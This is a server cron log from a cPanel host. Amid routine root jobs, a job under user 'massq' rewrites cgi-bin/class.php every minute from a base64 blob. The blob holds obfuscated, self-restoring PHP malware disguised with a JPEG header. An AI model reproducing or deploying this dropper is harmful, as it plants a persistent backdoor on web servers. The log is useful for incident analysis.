Sep  3 11:53:01 server CROND[4245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:53:01 server CROND[4246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:54:01 server CROND[4721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:54:01 server CROND[4722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:54:01 server CROND[4723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:55:01 server CROND[5108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:55:01 server CROND[5110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:55:01 server CROND[5109]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:55:01 server CROND[5115]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:55:01 server CROND[5118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:55:01 server CROND[5116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:55:01 server CROND[5114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:56:01 server CROND[5928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:56:01 server CROND[5927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:56:01 server CROND[5929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:57:01 server CROND[6303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:57:01 server CROND[6304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:57:01 server CROND[6305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:57:01 server CROND[6307]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:58:01 server CROND[6833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:58:01 server CROND[6834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:58:01 server CROND[6835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:59:01 server CROND[7374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:59:01 server CROND[7375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:59:01 server CROND[7376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:00:01 server CROND[7819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:00:01 server CROND[7823]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:00:01 server CROND[7824]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 12:00:01 server CROND[7827]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:00:01 server CROND[7828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:00:01 server CROND[7834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:00:01 server CROND[7833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:00:01 server CROND[7835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:00:01 server CROND[7836]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  3 12:00:01 server CROND[7832]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 12:00:01 server CROND[7831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:01:01 server CROND[8711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:01:01 server CROND[8712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:01:01 server CROND[8710]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 12:01:01 server CROND[8713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:01:01 server run-parts(/etc/cron.hourly)[8710]: starting 0anacron
Sep  3 12:01:01 server run-parts(/etc/cron.hourly)[8732]: finished 0anacron
Sep  3 12:02:01 server CROND[9096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:02:01 server CROND[9098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:02:01 server CROND[9097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:03:01 server CROND[9473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:03:01 server CROND[9474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:03:01 server CROND[9475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:04:01 server CROND[9943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:04:01 server CROND[9944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:04:01 server CROND[9945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
